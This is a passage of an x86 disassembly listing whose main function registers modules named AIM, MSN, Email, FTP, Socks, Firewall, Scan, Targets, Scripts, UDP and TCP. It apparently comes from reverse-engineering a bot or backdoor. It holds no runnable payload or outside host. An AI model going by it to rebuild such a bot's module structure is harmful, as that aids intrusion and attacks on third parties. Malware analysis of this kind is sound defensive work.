esi call sub_41BA91 pop ecx mov [ebp-44h], eax test eax, eax mov byte ptr [ebp-4], 9 jz short loc_411542 push offset off_430898 push eax mov ecx, ebx call sub_413878 mov [ebp-20h], eax jmp short loc_411546 ; --------------------------------------------------------------------------- loc_411542: ; CODE XREF: sub_411377+1B7j and dword ptr [ebp-20h], 0 loc_411546: ; CODE XREF: sub_411377+1C9j push dword ptr [ebp-20h] mov eax, edi mov byte ptr [ebp-4], 4 call sub_41377F push dword ptr [ebp-20h] mov eax, [ebp+0Ch] call sub_413D2E push esi call sub_41BA91 pop ecx mov [ebp-44h], eax test eax, eax mov byte ptr [ebp-4], 0Ah jz short loc_411583 push offset aAim ; "AIM" push eax mov ecx, ebx call sub_413878 mov [ebp-24h], eax jmp short loc_411587 ; --------------------------------------------------------------------------- loc_411583: ; CODE XREF: sub_411377+1F8j and dword ptr [ebp-24h], 0 loc_411587: ; CODE XREF: sub_411377+20Aj push dword ptr [ebp-24h] mov eax, edi mov byte ptr [ebp-4], 4 call sub_41377F push dword ptr [ebp-24h] mov eax, [ebp+0Ch] call sub_413D2E push esi call sub_41BA91 pop ecx mov [ebp-44h], eax test eax, eax mov byte ptr [ebp-4], 0Bh jz short loc_4115C4 push offset aMsn ; "MSN" push eax mov ecx, ebx call sub_413878 mov [ebp-28h], eax jmp short loc_4115C8 ; --------------------------------------------------------------------------- loc_4115C4: ; CODE XREF: sub_411377+239j and dword ptr [ebp-28h], 0 loc_4115C8: ; CODE XREF: sub_411377+24Bj push dword ptr [ebp-28h] mov eax, edi mov byte ptr [ebp-4], 4 call sub_41377F push dword ptr [ebp-28h] mov eax, [ebp+0Ch] call sub_413D2E push esi call sub_41BA91 pop ecx mov [ebp-44h], eax test eax, eax mov byte ptr [ebp-4], 0Ch jz short loc_411605 push offset aEmail ; "Email" push eax mov ecx, ebx call sub_413878 mov [ebp-44h], eax jmp short loc_411609 ; --------------------------------------------------------------------------- loc_411605: ; CODE XREF: sub_411377+27Aj and dword ptr [ebp-44h], 0 loc_411609: ; CODE XREF: sub_411377+28Cj mov byte ptr [ebp-4], 4 push dword ptr [ebp-44h] mov eax, edi call sub_41377F push dword ptr [ebp-44h] mov eax, [ebp+0Ch] call sub_413D2E push esi call sub_41BA91 pop ecx mov [ebp-44h], eax test eax, eax mov byte ptr [ebp-4], 0Dh jz short loc_411646 push offset aFtp ; "FTP" push eax mov ecx, ebx call sub_413878 mov [ebp-44h], eax jmp short loc_41164A ; --------------------------------------------------------------------------- loc_411646: ; CODE XREF: sub_411377+2BBj and dword ptr [ebp-44h], 0 loc_41164A: ; CODE XREF: sub_411377+2CDj mov byte ptr [ebp-4], 4 push dword ptr [ebp-44h] mov eax, edi call sub_41377F push dword ptr [ebp-44h] mov eax, [ebp+0Ch] call sub_413D2E push esi call sub_41BA91 pop ecx mov [ebp-44h], eax test eax, eax mov byte ptr [ebp-4], 0Eh jz short loc_411687 push offset aSocks ; "Socks" push eax mov ecx, ebx call sub_413878 mov [ebp-2Ch], eax jmp short loc_41168B ; --------------------------------------------------------------------------- loc_411687: ; CODE XREF: sub_411377+2FCj and dword ptr [ebp-2Ch], 0 loc_41168B: ; CODE XREF: sub_411377+30Ej push dword ptr [ebp-2Ch] mov eax, edi mov byte ptr [ebp-4], 4 call sub_41377F push dword ptr [ebp-2Ch] mov eax, [ebp+0Ch] call sub_413D2E push esi call sub_41BA91 pop ecx mov [ebp-44h], eax test eax, eax mov byte ptr [ebp-4], 0Fh jz short loc_4116C8 push offset aFirewall ; "Firewall" push eax mov ecx, ebx call sub_413878 mov [ebp-30h], eax jmp short loc_4116CC ; --------------------------------------------------------------------------- loc_4116C8: ; CODE XREF: sub_411377+33Dj and dword ptr [ebp-30h], 0 loc_4116CC: ; CODE XREF: sub_411377+34Fj push dword ptr [ebp-30h] mov eax, edi mov byte ptr [ebp-4], 4 call sub_41377F push dword ptr [ebp-30h] mov eax, [ebp+0Ch] call sub_413D2E push esi call sub_41BA91 pop ecx mov [ebp-44h], eax test eax, eax mov byte ptr [ebp-4], 10h jz short loc_411709 push offset aScan ; "Scan" push eax mov ecx, ebx call sub_413878 mov [ebp-10h], eax jmp short loc_41170D ; --------------------------------------------------------------------------- loc_411709: ; CODE XREF: sub_411377+37Ej and dword ptr [ebp-10h], 0 loc_41170D: ; CODE XREF: sub_411377+390j push dword ptr [ebp-10h] mov eax, edi mov byte ptr [ebp-4], 4 call sub_41377F push dword ptr [ebp-10h] mov eax, [ebp+0Ch] call sub_413D2E push esi call sub_41BA91 pop ecx mov [ebp-44h], eax test eax, eax mov byte ptr [ebp-4], 11h jz short loc_41174A push offset aTargets ; "Targets" push eax mov ecx, ebx call sub_413878 mov [ebp-34h], eax jmp short loc_41174E ; --------------------------------------------------------------------------- loc_41174A: ; CODE XREF: sub_411377+3BFj and dword ptr [ebp-34h], 0 loc_41174E: ; CODE XREF: sub_411377+3D1j push dword ptr [ebp-34h] mov eax, edi mov byte ptr [ebp-4], 4 call sub_41377F mov eax, [ebp-10h] push dword ptr [ebp-34h] add eax, 118h call sub_413D2E push esi call sub_41BA91 pop ecx mov [ebp-44h], eax test eax, eax mov byte ptr [ebp-4], 12h jz short loc_411790 push offset aScripts ; "Scripts" push eax mov ecx, ebx call sub_413878 mov [ebp-38h], eax jmp short loc_411794 ; --------------------------------------------------------------------------- loc_411790: ; CODE XREF: sub_411377+405j and dword ptr [ebp-38h], 0 loc_411794: ; CODE XREF: sub_411377+417j push dword ptr [ebp-38h] mov eax, edi mov byte ptr [ebp-4], 4 call sub_41377F push dword ptr [ebp-38h] mov eax, [ebp+0Ch] call sub_413D2E push esi call sub_41BA91 pop ecx mov [ebp-44h], eax test eax, eax mov byte ptr [ebp-4], 13h jz short loc_4117D1 push offset aUdp ; "UDP" push eax mov ecx, ebx call sub_413878 mov [ebp-3Ch], eax jmp short loc_4117D5 ; --------------------------------------------------------------------------- loc_4117D1: ; CODE XREF: sub_411377+446j and dword ptr [ebp-3Ch], 0 loc_4117D5: ; CODE XREF: sub_411377+458j push dword ptr [ebp-3Ch] mov eax, edi mov byte ptr [ebp-4], 4 call sub_41377F push dword ptr [ebp-3Ch] mov eax, [ebp+0Ch] call sub_413D2E push esi call sub_41BA91 pop ecx mov [ebp-44h], eax test eax, eax mov byte ptr [ebp-4], 14h jz short loc_411812 push offset aTcp ; "TCP" push eax mov ecx, ebx call sub_413878 mov [ebp-40h], eax jmp short loc_411816 ; --------------------------------------------------------------------------- loc_411812: ; CODE XREF: sub_411377+487j and dword ptr [ebp-40h], 0 loc_411816: ; CODE XREF: sub_411377+499j push dword ptr [ebp-40h] mov eax, edi mov byte ptr [ebp-4], 4 call sub_41377F push dword ptr [ebp-40h] mov eax, [ebp+0Ch] call sub_413D2E push esi call sub_41BA91 pop ecx mov [ebp-44h], eax test eax, eax mov byte ptr [ebp-4], 15h jz short loc_411853 push offset aPvar ; "PVAR" push eax mov ecx, ebx call sub_413878 mov [ebp-44h], eax jmp short loc_411857 ; --------------------------------------------------------------------------- loc_411853: ; CODE XREF: sub_411377+4C8j and dword ptr [ebp-44h], 0 loc_411857: ; CODE XREF: sub_411377+4DAj mov byte ptr [ebp-4], 4 push dword ptr [ebp-44h] mov eax, edi call sub_41377F push dword ptr [ebp-44h] mov eax, [ebp+0Ch] call sub_413D2E mov esi, 114h push esi call sub_41BA91 test eax, eax pop ecx jz short loc_41188A call sub_40EC1D mov [ebp+0Ch], eax jmp short loc_41188E ; --------------------------------------------------------------------------- loc_41188A: ; CODE XREF: sub_411377+507j and dword ptr [ebp+0Ch], 0 loc_41188E: ; CODE XREF: sub_411377+511j push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F mov ebx, [ebp+8] push dword ptr [ebp+0Ch] add ebx, 260h mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_4118C0 call sub_40ECA6 mov [ebp+0Ch], eax jmp short loc_4118C4 ; --------------------------------------------------------------------------- loc_4118C0: ; CODE XREF: sub_411377+53Dj and dword ptr [ebp+0Ch], 0 loc_4118C4: ; CODE XREF: sub_411377+547j push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F push dword ptr [ebp+0Ch] mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_4118ED call sub_40EC70 mov [ebp+0Ch], eax jmp short loc_4118F1 ; --------------------------------------------------------------------------- loc_4118ED: ; CODE XREF: sub_411377+56Aj and dword ptr [ebp+0Ch], 0 loc_4118F1: ; CODE XREF: sub_411377+574j push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F push dword ptr [ebp+0Ch] mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_41191A call sub_40ED01 mov [ebp+0Ch], eax jmp short loc_41191E ; --------------------------------------------------------------------------- loc_41191A: ; CODE XREF: sub_411377+597j and dword ptr [ebp+0Ch], 0 loc_41191E: ; CODE XREF: sub_411377+5A1j push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F push dword ptr [ebp+0Ch] mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_411947 call sub_40ED70 mov [ebp+0Ch], eax jmp short loc_41194B ; --------------------------------------------------------------------------- loc_411947: ; CODE XREF: sub_411377+5C4j and dword ptr [ebp+0Ch], 0 loc_41194B: ; CODE XREF: sub_411377+5CEj push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F push dword ptr [ebp+0Ch] mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_411974 call sub_40EDAE mov [ebp+0Ch], eax jmp short loc_411978 ; --------------------------------------------------------------------------- loc_411974: ; CODE XREF: sub_411377+5F1j and dword ptr [ebp+0Ch], 0 loc_411978: ; CODE XREF: sub_411377+5FBj push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F push dword ptr [ebp+0Ch] mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_4119A1 call sub_40EDF5 mov [ebp+0Ch], eax jmp short loc_4119A5 ; --------------------------------------------------------------------------- loc_4119A1: ; CODE XREF: sub_411377+61Ej and dword ptr [ebp+0Ch], 0 loc_4119A5: ; CODE XREF: sub_411377+628j push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F push dword ptr [ebp+0Ch] mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_4119CE call sub_40EE26 mov [ebp+0Ch], eax jmp short loc_4119D2 ; --------------------------------------------------------------------------- loc_4119CE: ; CODE XREF: sub_411377+64Bj and dword ptr [ebp+0Ch], 0 loc_4119D2: ; CODE XREF: sub_411377+655j push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F push dword ptr [ebp+0Ch] mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_4119FB call sub_40EE5F mov [ebp+0Ch], eax jmp short loc_4119FF ; --------------------------------------------------------------------------- loc_4119FB: ; CODE XREF: sub_411377+678j and dword ptr [ebp+0Ch], 0 loc_4119FF: ; CODE XREF: sub_411377+682j push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F push dword ptr [ebp+0Ch] mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_411A28 call sub_40EE98 mov [ebp+0Ch], eax jmp short loc_411A2C ; --------------------------------------------------------------------------- loc_411A28: ; CODE XREF: sub_411377+6A5j and dword ptr [ebp+0Ch], 0 loc_411A2C: ; CODE XREF: sub_411377+6AFj push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F push dword ptr [ebp+0Ch] mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_411A55 call sub_40EED1 mov [ebp+0Ch], eax jmp short loc_411A59 ; --------------------------------------------------------------------------- loc_411A55: ; CODE XREF: sub_411377+6D2j and dword ptr [ebp+0Ch], 0 loc_411A59: ; CODE XREF: sub_411377+6DCj push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F push dword ptr [ebp+0Ch] mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_411A82 call sub_40EF10 mov [ebp+0Ch], eax jmp short loc_411A86 ; --------------------------------------------------------------------------- loc_411A82: ; CODE XREF: sub_411377+6FFj and dword ptr [ebp+0Ch], 0 loc_411A86: ; CODE XREF: sub_411377+709j push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F mov ebx, [ebp+10h] push dword ptr [ebp+0Ch] add ebx, 104h mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_411AB8 call sub_40EF4C mov [ebp+0Ch], eax jmp short loc_411ABC ; --------------------------------------------------------------------------- loc_411AB8: ; CODE XREF: sub_411377+735j and dword ptr [ebp+0Ch], 0 loc_411ABC: ; CODE XREF: sub_411377+73Fj push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F push dword ptr [ebp+0Ch] mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_411AE5 call sub_40EF81 mov [ebp+0Ch], eax jmp short loc_411AE9 ; --------------------------------------------------------------------------- loc_411AE5: ; CODE XREF: sub_411377+762j and dword ptr [ebp+0Ch], 0 loc_411AE9: ; CODE XREF: sub_411377+76Cj push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F push dword ptr [ebp+0Ch] mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_411B12 call sub_40EFBA mov [ebp+0Ch], eax jmp short loc_411B16 ; --------------------------------------------------------------------------- loc_411B12: ; CODE XREF: sub_411377+78Fj and dword ptr [ebp+0Ch], 0 loc_411B16: ; CODE XREF: sub_411377+799j push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F mov ebx, [ebp-14h] push dword ptr [ebp+0Ch] add ebx, 104h mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_411B48 call sub_40EFEF mov [ebp+0Ch], eax jmp short loc_411B4C ; --------------------------------------------------------------------------- loc_411B48: ; CODE XREF: sub_411377+7C5j and dword ptr [ebp+0Ch], 0 loc_411B4C: ; CODE XREF: sub_411377+7CFj push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F push dword ptr [ebp+0Ch] mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_411B75 call sub_40F024 mov [ebp+0Ch], eax jmp short loc_411B79 ; --------------------------------------------------------------------------- loc_411B75: ; CODE XREF: sub_411377+7F2j and dword ptr [ebp+0Ch], 0 loc_411B79: ; CODE XREF: sub_411377+7FCj push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F push dword ptr [ebp+0Ch] mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_411BA2 call sub_40F19D mov [ebp+0Ch], eax jmp short loc_411BA6 ; --------------------------------------------------------------------------- loc_411BA2: ; CODE XREF: sub_411377+81Fj and dword ptr [ebp+0Ch], 0 loc_411BA6: ; CODE XREF: sub_411377+829j push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F mov ebx, [ebp-18h] push dword ptr [ebp+0Ch] add ebx, 104h mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_411BD8 call sub_40F1E3 mov [ebp+0Ch], eax jmp short loc_411BDC ; --------------------------------------------------------------------------- loc_411BD8: ; CODE XREF: sub_411377+855j and dword ptr [ebp+0Ch], 0 loc_411BDC: ; CODE XREF: sub_411377+85Fj push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F push dword ptr [ebp+0Ch] mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_411C05 call sub_40F222 mov [ebp+0Ch], eax jmp short loc_411C09 ; --------------------------------------------------------------------------- loc_411C05: ; CODE XREF: sub_411377+882j and dword ptr [ebp+0Ch], 0 loc_411C09: ; CODE XREF: sub_411377+88Cj push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F push dword ptr [ebp+0Ch] mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_411C32 call sub_40F261 mov [ebp+0Ch], eax jmp short loc_411C36 ; --------------------------------------------------------------------------- loc_411C32: ; CODE XREF: sub_411377+8AFj and dword ptr [ebp+0Ch], 0 loc_411C36: ; CODE XREF: sub_411377+8B9j push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F push dword ptr [ebp+0Ch] mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_411C5F call sub_40F29A mov [ebp+0Ch], eax jmp short loc_411C63 ; --------------------------------------------------------------------------- loc_411C5F: ; CODE XREF: sub_411377+8DCj and dword ptr [ebp+0Ch], 0 loc_411C63: ; CODE XREF: sub_411377+8E6j push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F push dword ptr [ebp+0Ch] mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_411C8C call sub_40F2DD mov [ebp+0Ch], eax jmp short loc_411C90 ; --------------------------------------------------------------------------- loc_411C8C: ; CODE XREF: sub_411377+909j and dword ptr [ebp+0Ch], 0 loc_411C90: ; CODE XREF: sub_411377+913j push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F push dword ptr [ebp+0Ch] mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_411CB9 call sub_40F327 mov [ebp+0Ch], eax jmp short loc_411CBD ; --------------------------------------------------------------------------- loc_411CB9: ; CODE XREF: sub_411377+936j and dword ptr [ebp+0Ch], 0 loc_411CBD: ; CODE XREF: sub_411377+940j push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F push dword ptr [ebp+0Ch] mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_411CE6 call sub_40F059 mov [ebp+0Ch], eax jmp short loc_411CEA ; --------------------------------------------------------------------------- loc_411CE6: ; CODE XREF: sub_411377+963j and dword ptr [ebp+0Ch], 0 loc_411CEA: ; CODE XREF: sub_411377+96Dj push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F mov ebx, [ebp-1Ch] push dword ptr [ebp+0Ch] add ebx, 104h mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_411D1C call sub_40F0D0 mov [ebp+0Ch], eax jmp short loc_411D20 ; --------------------------------------------------------------------------- loc_411D1C: ; CODE XREF: sub_411377+999j and dword ptr [ebp+0Ch], 0 loc_411D20: ; CODE XREF: sub_411377+9A3j push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F push dword ptr [ebp+0Ch] mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_411D49 call sub_40F38E mov [ebp+0Ch], eax jmp short loc_411D4D ; --------------------------------------------------------------------------- loc_411D49: ; CODE XREF: sub_411377+9C6j and dword ptr [ebp+0Ch], 0 loc_411D4D: ; CODE XREF: sub_411377+9D0j push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F mov ebx, [ebp-20h] push dword ptr [ebp+0Ch] add ebx, 104h mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_411D7F call sub_40F3CE mov [ebp+0Ch], eax jmp short loc_411D83 ; --------------------------------------------------------------------------- loc_411D7F: ; CODE XREF: sub_411377+9FCj and dword ptr [ebp+0Ch], 0 loc_411D83: ; CODE XREF: sub_411377+A06j push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F push dword ptr [ebp+0Ch] mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_411DAC call sub_40F40A mov [ebp+0Ch], eax jmp short loc_411DB0 ; --------------------------------------------------------------------------- loc_411DAC: ; CODE XREF: sub_411377+A29j and dword ptr [ebp+0Ch], 0 loc_411DB0: ; CODE XREF: sub_411377+A33j push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F push dword ptr [ebp+0Ch] mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_411DD9 call sub_40F4E3 mov [ebp+0Ch], eax jmp short loc_411DDD ; --------------------------------------------------------------------------- loc_411DD9: ; CODE XREF: sub_411377+A56j and dword ptr [ebp+0Ch], 0 loc_411DDD: ; CODE XREF: sub_411377+A60j push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F mov ebx, [ebp-24h] push dword ptr [ebp+0Ch] add ebx, 104h mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_411E0F call sub_40F55F mov [ebp+0Ch], eax jmp short loc_411E13 ; --------------------------------------------------------------------------- loc_411E0F: ; CODE XREF: sub_411377+A8Cj and dword ptr [ebp+0Ch], 0 loc_411E13: ; CODE XREF: sub_411377+A96j push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F push dword ptr [ebp+0Ch] mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_411E3C call sub_40F5B2 mov [ebp+0Ch], eax jmp short loc_411E40 ; --------------------------------------------------------------------------- loc_411E3C: ; CODE XREF: sub_411377+AB9j and dword ptr [ebp+0Ch], 0 loc_411E40: ; CODE XREF: sub_411377+AC3j push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F push dword ptr [ebp+0Ch] mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_411E69 call sub_40F5F5 mov [ebp+0Ch], eax jmp short loc_411E6D ; --------------------------------------------------------------------------- loc_411E69: ; CODE XREF: sub_411377+AE6j and dword ptr [ebp+0Ch], 0 loc_411E6D: ; CODE XREF: sub_411377+AF0j push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F mov ebx, [ebp-28h] push dword ptr [ebp+0Ch] add ebx, 104h mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_411E9F call sub_40F648 mov [ebp+0Ch], eax jmp short loc_411EA3 ; --------------------------------------------------------------------------- loc_411E9F: ; CODE XREF: sub_411377+B1Cj and dword ptr [ebp+0Ch], 0 loc_411EA3: ; CODE XREF: sub_411377+B26j push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F push dword ptr [ebp+0Ch] mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_411ECB call sub_40F68B mov ebx, eax jmp short loc_411ECD ; --------------------------------------------------------------------------- loc_411ECB: ; CODE XREF: sub_411377+B49j xor ebx, ebx loc_411ECD: ; CODE XREF: sub_411377+B52j push ebx mov eax, edi call sub_41377F mov eax, [ebp-2Ch] push ebx add eax, 104h call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_411EF7 call sub_40F794 mov ebx, eax jmp short loc_411EF9 ; --------------------------------------------------------------------------- loc_411EF7: ; CODE XREF: sub_411377+B75j xor ebx, ebx loc_411EF9: ; CODE XREF: sub_411377+B7Ej push ebx mov eax, edi call sub_41377F mov eax, [ebp-30h] push ebx add eax, 104h call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_411F24 call sub_40F9E7 mov [ebp+0Ch], eax jmp short loc_411F28 ; --------------------------------------------------------------------------- loc_411F24: ; CODE XREF: sub_411377+BA1j and dword ptr [ebp+0Ch], 0 loc_411F28: ; CODE XREF: sub_411377+BABj push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F mov ebx, [ebp-34h] push dword ptr [ebp+0Ch] add ebx, 104h mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_411F5A call sub_40FA88 mov [ebp+0Ch], eax jmp short loc_411F5E ; --------------------------------------------------------------------------- loc_411F5A: ; CODE XREF: sub_411377+BD7j and dword ptr [ebp+0Ch], 0 loc_411F5E: ; CODE XREF: sub_411377+BE1j push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F push dword ptr [ebp+0Ch] mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_411F87 call sub_40FAB5 mov [ebp+0Ch], eax jmp short loc_411F8B ; --------------------------------------------------------------------------- loc_411F87: ; CODE XREF: sub_411377+C04j and dword ptr [ebp+0Ch], 0 loc_411F8B: ; CODE XREF: sub_411377+C0Ej push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F push dword ptr [ebp+0Ch] mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_411FB4 call sub_40F820 mov [ebp+0Ch], eax jmp short loc_411FB8 ; --------------------------------------------------------------------------- loc_411FB4: ; CODE XREF: sub_411377+C31j and dword ptr [ebp+0Ch], 0 loc_411FB8: ; CODE XREF: sub_411377+C3Bj push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F mov ebx, [ebp-10h] push dword ptr [ebp+0Ch] add ebx, 104h mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_411FEA call sub_40F8B1 mov [ebp+0Ch], eax jmp short loc_411FEE ; --------------------------------------------------------------------------- loc_411FEA: ; CODE XREF: sub_411377+C67j and dword ptr [ebp+0Ch], 0 loc_411FEE: ; CODE XREF: sub_411377+C71j push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F push dword ptr [ebp+0Ch] mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_412017 call sub_40F8DF mov [ebp+0Ch], eax jmp short loc_41201B ; --------------------------------------------------------------------------- loc_412017: ; CODE XREF: sub_411377+C94j and dword ptr [ebp+0Ch], 0 loc_41201B: ; CODE XREF: sub_411377+C9Ej push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F push dword ptr [ebp+0Ch] mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_412044 call sub_40F990 mov [ebp+0Ch], eax jmp short loc_412048 ; --------------------------------------------------------------------------- loc_412044: ; CODE XREF: sub_411377+CC1j and dword ptr [ebp+0Ch], 0 loc_412048: ; CODE XREF: sub_411377+CCBj push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F push dword ptr [ebp+0Ch] mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_412070 call sub_40FB15 mov ebx, eax jmp short loc_412072 ; --------------------------------------------------------------------------- loc_412070: ; CODE XREF: sub_411377+CEEj xor ebx, ebx loc_412072: ; CODE XREF: sub_411377+CF7j push ebx mov eax, edi call sub_41377F mov eax, [ebp-38h] push ebx add eax, 104h call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_41209C call sub_40FB41 mov ebx, eax jmp short loc_41209E ; --------------------------------------------------------------------------- loc_41209C: ; CODE XREF: sub_411377+D1Aj xor ebx, ebx loc_41209E: ; CODE XREF: sub_411377+D23j push ebx mov eax, edi call sub_41377F mov eax, [ebp-3Ch] push ebx add eax, 104h call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_4120C8 call sub_40FC2C mov ebx, eax jmp short loc_4120CA ; --------------------------------------------------------------------------- loc_4120C8: ; CODE XREF: sub_411377+D46j xor ebx, ebx loc_4120CA: ; CODE XREF: sub_411377+D4Fj push ebx mov eax, edi call sub_41377F mov eax, [ebp-40h] push ebx add eax, 104h call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_4120F5 call sub_40FCAB mov [ebp+0Ch], eax jmp short loc_4120F9 ; --------------------------------------------------------------------------- loc_4120F5: ; CODE XREF: sub_411377+D72j and dword ptr [ebp+0Ch], 0 loc_4120F9: ; CODE XREF: sub_411377+D7Cj push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F mov ebx, [ebp-44h] push dword ptr [ebp+0Ch] add ebx, 104h mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_41212B call sub_40FD17 mov [ebp+0Ch], eax jmp short loc_41212F ; --------------------------------------------------------------------------- loc_41212B: ; CODE XREF: sub_411377+DA8j and dword ptr [ebp+0Ch], 0 loc_41212F: ; CODE XREF: sub_411377+DB2j push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F push dword ptr [ebp+0Ch] mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_412158 call sub_40FD97 mov [ebp+0Ch], eax jmp short loc_41215C ; --------------------------------------------------------------------------- loc_412158: ; CODE XREF: sub_411377+DD5j and dword ptr [ebp+0Ch], 0 loc_41215C: ; CODE XREF: sub_411377+DDFj push dword ptr [ebp+0Ch] mov eax, edi call sub_41377F push dword ptr [ebp+0Ch] mov eax, ebx call sub_413CBE push esi call sub_41BA91 test eax, eax pop ecx jz short loc_412184 call sub_40FE1E mov esi, eax jmp short loc_412186 ; --------------------------------------------------------------------------- loc_412184: ; CODE XREF: sub_411377+E02j xor esi, esi loc_412186: ; CODE XREF: sub_411377+E0Bj push esi mov eax, edi call sub_41377F push esi mov eax, ebx call sub_413CBE mov ecx, [ebp-0Ch] mov eax, [ebp+8] pop edi pop esi pop ebx mov large fs:0, ecx leave retn 0Ch sub_411377 endp ; =============== S U B R O U T I N E ======================================= sub_4121AA proc near ; CODE XREF: sub_4121F3+34p ; .text:00427DC9j push esi lea esi, [edi+118h] call sub_413A1C lea esi, [edi+104h] call sub_413A1C pop esi retn sub_4121AA endp ; =============== S U B R O U T I N E ======================================= sub_4121C3 proc near ; CODE XREF: sub_411377+43p ; sub_411377+53p arg_10 = dword ptr 14h mov eax, offset loc_427DA9 call sub_41E550 mov eax, [esp+arg_10] xor ecx, ecx mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx mov [eax+14h], ecx mov [eax+18h], ecx mov [eax+1Ch], ecx mov ecx, [esp+0] mov large fs:0, ecx leave retn 4 sub_4121C3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= 